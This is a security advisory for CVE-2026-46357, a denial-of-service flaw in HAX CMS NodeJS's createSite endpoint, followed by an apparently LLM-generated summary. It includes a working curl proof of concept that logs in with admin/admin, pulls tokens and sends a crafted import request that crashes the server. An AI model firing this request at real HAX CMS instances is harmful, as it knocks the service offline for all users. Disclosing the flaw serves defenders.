VYPR
Medium severity6.5GHSA Advisory· Published May 19, 2026· Updated May 19, 2026

HAX CMS: Denial of Service using Malicious Import Request

CVE-2026-46357

Description

Summary

The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service.

Details

The createSite remote import flow does not complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens.

The crash occurs because createSite passes a file object without originalname, while HAXCMSFile.save() immediately dereferences tmpFile.originalname.replace(...).

As a result:

  • the request reaches privileged code inside createSite
  • the server hits the remote file handling path
  • the process crashes before downloadAndSaveFile() performs the outbound request
  • no imported file is written into the site directory

Affected

Resources

  • src/routes/createSite.js:176
  • src/lib/HAXCMSFile.js:25
  • system/api/createSite

PoC

  1. Obtain a JWT by logging in with valid credentials.
JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4)
  1. Extract the required tokens from the connectionSettings endpoint.
SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings')
ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2)
  1. Send the malformed request to crash the server.
curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \
  -H 'Content-Type: application/json' \
  -d "{
    \"token\": \"$ROOT_TOKEN\",
    \"site\": { \"name\": \"dos-poc\" },
    \"theme\": {},
    \"build\": {
      \"structure\": \"import\",
      \"type\": \"import\",
      \"items\": [],
      \"files\": {
        \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\"
      }
    }
  }"

The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed.

Impact

An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

An authenticated attacker can crash HAX CMS NodeJS by sending a crafted site creation request missing the originalname field, causing a denial of service.

Vulnerability

In HAX CMS NodeJS, the createSite endpoint at src/routes/createSite.js:176 fails to validate that the file object provided in a remote import request contains the originalname property. When HAXCMSFile.save() (line 25 of src/lib/HAXCMSFile.js) dereferences tmpFile.originalname.replace(...), the missing field causes an unhandled exception, crashing the entire server process [2][3]. This affects all versions of HAX CMS NodeJS before the fix was applied.

Exploitation

An attacker must first authenticate to obtain a valid JWT, then extract the required root_token and user_token from the connectionSettings endpoint. A single HTTP POST request to /system/api/createSite with a JSON body that includes a build object containing a files map (e.g., {"files/poc.txt": "http://127.0.0.1:8888/poc.txt"}) but omits the originalname field triggers the crash. No user interaction beyond the initial login is required, and the exploit does not rely on a race condition [2][3].

Impact

Successful exploitation causes the NodeJS server process to terminate immediately, resulting in a complete denial of service (DoS). The application becomes unavailable until an administrator manually restarts the server. No data is compromised, and no file is written to disk; the crash occurs before any outbound HTTP fetch takes place [1][2][3].

Mitigation

As of the publication date (2026-05-19), no patched version has been released. The issue is tracked in the HAX CMS issue queue and GitHub Security Advisory [1][3]. Operators should monitor the official repository for a fix. There is no known workaround that entirely eliminates the vulnerability; restricting network access to the createSite endpoint to trusted users may reduce risk but does not prevent exploitation by authenticated attackers [2].

AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2

Patches

0

No patches discovered yet.

Vulnerability mechanics

AI mechanics synthesis has not run for this CVE yet.

References

2

News mentions

0

No linked articles in our index yet.